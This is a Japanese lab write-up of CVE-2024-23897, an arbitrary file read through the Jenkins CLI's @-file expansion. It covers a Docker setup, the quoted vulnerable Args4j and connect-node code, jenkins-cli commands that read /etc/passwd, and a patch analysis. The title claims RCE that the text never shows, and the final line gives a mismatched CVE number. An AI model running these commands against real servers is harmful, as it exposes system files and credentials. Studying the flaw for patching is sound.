
[CVE-2024-23897] Jenkins CI CLI経由の認証済み任意ファイル読み取りによるリモートコード実行(RCE)
Jenkins は、Javaプログラミング言語で書かれた、自己完結型のオープンソースの継続的インテグレーション/継続的デリバリーおよびデプロイ (CI/CD) 自動化ソフトウェアDevOpsツールです。パイプラインと呼ばれるCI/CDワークフローを実装するために使用されます。
Jenkinsには、スクリプトまたはシェル環境からJenkinsにアクセスするための組み込みのコマンドラインインターフェイス (CLI) があります。Jenkinsは、CLIコマンドを処理する際にJenkinsコントローラ上のコマンド引数とオプションを解析するために Args4j ライブラリを使用します。このコマンドパーサーには、引数内の @ 文字に続くファイルパスをファイルの内容に置き換える機能 (expandAtFiles) があります。この機能はデフォルトで有効になっており、Jenkins 2.441 以前、LTS 2.426.2 以前 では無効化されません。
これにより、攻撃者はJenkinsコントローラプロセスのデフォルトの文字エンコーディングを使用して、Jenkinsコントローラのファイルシステム上の任意のファイルを読み取ることができます。
環境セットアップ
root@kali:~$ docker pull jenkins/jenkins:2.440-jdk17
root@kali:~$ docker run -d -p 9091:8080 -p 50000:50000 --name murat2-jenkins jenkins/jenkins:2.440-jdk17
root@kali:~$ docker exec -t murat2-jenkins cat /var/jenkins_home/secrets/initialAdminPassword

脆弱なコード
この脆弱性はSonarSourceのVulnerability Research Teamによって発見されたものであり、このセクションは SonarSourceの技術ブログ記事 から転載されていることに注意してください。
脆弱なコードは Args4j ライブラリにあります。
private String[] expandAtFiles(String args[]) throws CmdLineException {
List < String > result = new ArrayList < String > ();
for (String arg: args) {
if (arg.startsWith("@")) {
File file = new File(arg.substring(1));
if (!file.exists()) throw new CmdLineException(this, Messages.NO_SUCH_FILE, file.getPath());
try {
result.addAll(readAllLines(file));
} catch(IOException ex) {
throw new CmdLineException(this, "Failed to parse " + file, ex);
}
} else {
result.add(arg);
}
}
return result.toArray(new String[result.size()]);
}
CmdLineParser.javaクラスの expandAtFiles メソッドは、基本的に引数内の @ 文字に続くファイルパスをファイルの内容に置き換えるものです。引数が @ 文字で始まるかどうかをチェックし、その場合は @ の後のパスのファイルを読み取り、各行に対して新しい引数を展開します。つまり、攻撃者が引数を制御できる場合、Jenkinsインスタンス上の任意のファイルから任意の数の引数に展開できることを意味します。
攻撃者がこれを悪用する方法の1つは、任意の数の引数を受け取り、それらをユーザーに表示し返すコマンドを見つけることです。引数はファイルの内容から設定されるため、攻撃者はこの方法でファイルの内容を漏えいさせることができます。この目的のために、hudson/cli 内の connect-node コマンドが良い候補です。これは 文字列のリスト を引数として受け取り、それぞれへの接続を試みます。失敗した場合、接続に失敗したノードの名前を含むエラーメッセージが生成されます。
public class ConnectNodeCommand extends CLICommand {
@Argument(
metaVar = "NAME",
usage = "Agent name, or empty string for built-in node; comma-separated list is supported",
required = true,
multiValued = true
)
private List < String > nodes;
//...
@Override
protected int run() throws Exception {
//...
for (String node_s: hs) {
try {
Computer computer = Computer.resolveForCLI(node_s);
computer.cliConnect(force);
} catch(Exception e) {
//...
final String errorMsg = node_s + ": " + e.getMessage();
stderr.println(errorMsg);
//...
}
}
//...
}
}
この connect-node コマンドは通常、CONNECT権限を必要とし、これは cliConnect 関数で検証されます。しかし、resolveForCLI 関数では権限チェックの前に例外がスローされるため、実際にはこのコマンドは最初の 読み取り専用検証 以外の認可を必要としません。
悪用手順
通常、Jenkins-cliの @ は、ベアラートークンまたは username:password を含むファイルを指定するために使用されます。
Jenkins-cliで認証済みコマンドを使用すると、次の出力が生成されます:
root@kali:~$ java -jar jenkins-cli.jar -s http://127.0.0.1:9091 -http connect-node "@/etc/passwd"

@ 文字機能を使用して -auth スイッチで credentials.txt ファイルを指定すると、次のようになります:
root@kali:~$ java -jar jenkins-cli.jar -s http://127.0.0.1:9091 -auth @credentials.txt -http connect-node "@/etc/passwd"

パッチ分析
Jenkinsセキュリティチームは、expandAtFiles 機能を無効化する安全な構成を導入することでCVE-2024-23897に対処しました。このパッチには、CVE-2024-23898 に対するWebSocketエンドポイントへのオリジン検証の追加が含まれており、不正アクセスを防ぎます。
関連コミット: jenkinsci/jenkins@554f037

ALLOW_AT_SYNTAX: この変数は、'@' 構文が許可されているかどうかを示すブール値です。システムプロパティから読み取られます。ParserProperties: このクラスは、CmdLineParserを構成するためのプロパティを提供します。withAtSyntax(ALLOW_AT_SYNTAX): ALLOW_AT_SYNTAX の値に基づいて、ParserPropertiesの 'allowAtSyntax' プロパティを設定します。new CmdLineParser(this, properties): 現在のオブジェクト (this) と構成済みの ParserProperties を渡して、新しい CmdLineParser インスタンスを作成します。CVE-2024-34897の脆弱性とクレジットに関する詳細は以下のとおりです: